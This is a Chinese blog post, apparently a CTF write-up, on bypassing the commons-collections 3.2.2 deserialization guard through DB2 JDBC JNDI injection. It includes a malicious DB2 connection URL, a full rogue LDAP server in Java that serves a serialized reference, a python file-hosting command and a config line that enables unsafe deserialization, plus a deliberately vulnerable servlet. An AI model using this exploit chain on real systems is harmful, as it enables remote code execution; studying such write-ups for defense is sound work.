freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java_JDBC(commonscollection3.2.2)Bypass
2024-01-01 15:21:28

0x01 分析题目

前情提要,这道题是来自第四届赣网杯的web5
简单捋捋信息,访问题目得到一个连接测试页面

image

题目给出的附件如下:

image

不难看出考点是DB2的JNDI注入,DB2打JNDI的payload大致如下:

jdbc:db2://127.0.0.1:50001/db:clientRerouteServerListJNDIName=ldap://127.0.0.1:1379/abc

但是反序列化依赖只有一个commons-collections-3.2.2.jar,理论上是要打CC3的链的,但是可以看得出来版本不对,该版本对CC3反序列化的类做了限制,导致重要的类不能够被反序列化,例如InstantiateTransformerInvokeTransformer

通过测试得知:

  • 由于Tomcat8.5.96测试发现TomcatByPass的工厂类org.apache.naming.factory.BeanFactory进行利用 是无法成功的,官方将其进行了修复,故无法利用

  • 由于RMI在6u132, 7u122, 8u113版本开始做了限制、LDAP在 11.0.1, 8u191, 7u201, 6u211版本开始 做了限制,故猜测是目标是采用了高版本的JDK

这里只能去思考题目给出的其他依赖能不能破局了

给出的依赖中包含了commons-configuration、并且是tomcat部署,那么也存在tomcat-jdbc,查看相应的 Class:

org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance

image

该类可以进行加载类进行无参实例化,并且对setter方法进行调用 LDAP和RMI在收到服务端反序列化来的Reference对象后根据classFactory属性从本地classpath中 实例化一个ObjectFactory对象,然后调用这个对象的getObjectInstance方法

该工厂类可以任意调用某类的setter方法,并且存在一个类:org.apache.commons.configuration.Sys temConfiguration

该类方法org.apache.commons.configuration.SystemConfiguration#setSystemProperties(java.lan g.String)可以进行远程加载配置文件进行设置系统属性:

image

分析到这个程度就好解决了,我们发现commons-collections3.2.2的反序列化限制是这样的

例如:org.apache.commons.collections.functors.InstantiateTransformer#readObject

image

进入检测方法org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization

image我们会发现检测时是在实时获取系统属性,如果不为 true 就会抛异常中断反序列化的执行

所以只需要修改这个作为JNDI注入缓解措施的系统属性,即可绕过高版本的限制

org.apache.commons.collections.enableUnsafeSerialization=true

然后打CC3即可,芜湖

0x02 搭建环境

为了以后复现简单,还是写了这么一个搭建环境的部分

首先是利用pom.xml导入依赖

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2.2</version> <!-- 使用最新的版本 -->
</dependency>
<dependency>
    <groupId>commons-configuration</groupId>
    <artifactId>commons-configuration</artifactId>
    <version>1.8</version>
</dependency>
<dependency>
    <groupId>commons-lang</groupId>
    <artifactId>commons-lang</artifactId>
    <version>2.6</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.1.3</version> <!-- Use the appropriate version -->
</dependency>
<dependency>
  <groupId>com.ibm.db2.jcc</groupId>
  <artifactId>db2jcc</artifactId>
  <version>db2jcc4</version>
</dependency>

然后是访问的index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Test Connect Form</title>
</head>
<body>
<h2>Test Connect Form</h2>
<form action="TestDBConnection" method="post">
    <label for="connectionString">URL:</label><br>

    <input type="text" id="connectionString" name="connectionString" required><br>


    <label for="username">Username:</label><br>

    <input type="text" id="username" name="username" required><br>


    <label for="password">Password:</label><br>

    <input type="password" id="password" name="password" required><br>


    <input type="submit" value="submit">
</form>
</body>
</html>

然后是用于实际连接的java类

import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/TestDBConnection")
public class TestDBConnection extends HttpServlet {
    private static final long serialVersionUID = 1L;

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();

        String connectionString = request.getParameter("connectionString");
        String username = request.getParameter("username");
        String password = request.getParameter("password");

        try {
            // 加载DB2 JDBC驱动
            Class.forName("com.ibm.db2.jcc.DB2Driver");

            // 尝试建立数据库连接
            Connection connection = DriverManager.getConnection(connectionString, username, password);

            // 如果成功连接,则输出成功消息
            out.println("<html><body><h2>连接成功!</h2></body></html>");

            // 关闭连接
            connection.close();
        } catch (ClassNotFoundException | SQLException e) {
            // 如果连接失败,则输出错误消息
            out.println("<html><body><h2>连接失败!</h2><p>" + e.getMessage() + "</p></body></html>");
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}

0x03 攻击利用

采用LDAP服务的方式进行利用,本地修改好代码,搭建一个文件托管服务,下面是

修改系统配置信息:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.io.*;
public class LDAPServer {
    static String userDN = "dc=ldap;dc=com";
    public static void main(String[] args) throws Exception {
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
        InMemoryDirectoryServerConfig imConfig = new
                InMemoryDirectoryServerConfig(userDN);
        imConfig.setListenerConfigs(new InMemoryListenerConfig("listen",
                InetAddress.getByName("0.0.0.0"),1379,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory)SSLSocketFactory.getDefault())
        );
        imConfig.addInMemoryOperationInterceptor(new LdapInterpetor());
        InMemoryDirectoryServer ldapServer = new InMemoryDirectoryServer(imConfig);
        ldapServer.startListening();
    }
    static class LdapInterpetor extends InMemoryOperationInterceptor {
        private static Reference systemConfiguration(){
            Reference ref = new Reference("org.apache.commons.configuration.SystemConfiguration","org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
            ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt")); //配置文件的地址
            return ref;
        }
        private static byte[] serializeObject(Serializable obj) {
            try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
                 ObjectOutputStream oos = new ObjectOutputStream(bos)) {
                oos.writeObject(obj);
                return bos.toByteArray();
            } catch (IOException e) {
                e.printStackTrace();
                return null;
            }
        }
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult request) {
            Entry entry = new Entry(request.getRequest().getBaseDN());
            try {
                System.out.println("start");
                String className = "java.lang.String";
                entry.addAttribute("javaSerializedData", serializeObject(systemConfiguration()));
                entry.addAttribute("javaClassName",className);
                entry.addAttribute("objectClass","javaNamingReference");
                request.sendSearchEntry(entry);
                request.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                System.out.println("stop");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

image

搭建一个文件托管(这里就直接用python)

python -m http.server 6666

配置文件内容

org.apache.commons.collections.enableUnsafeSerialization=true

然后直接打CC3链子就行了

# 漏洞 # web安全 # 漏洞分析 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录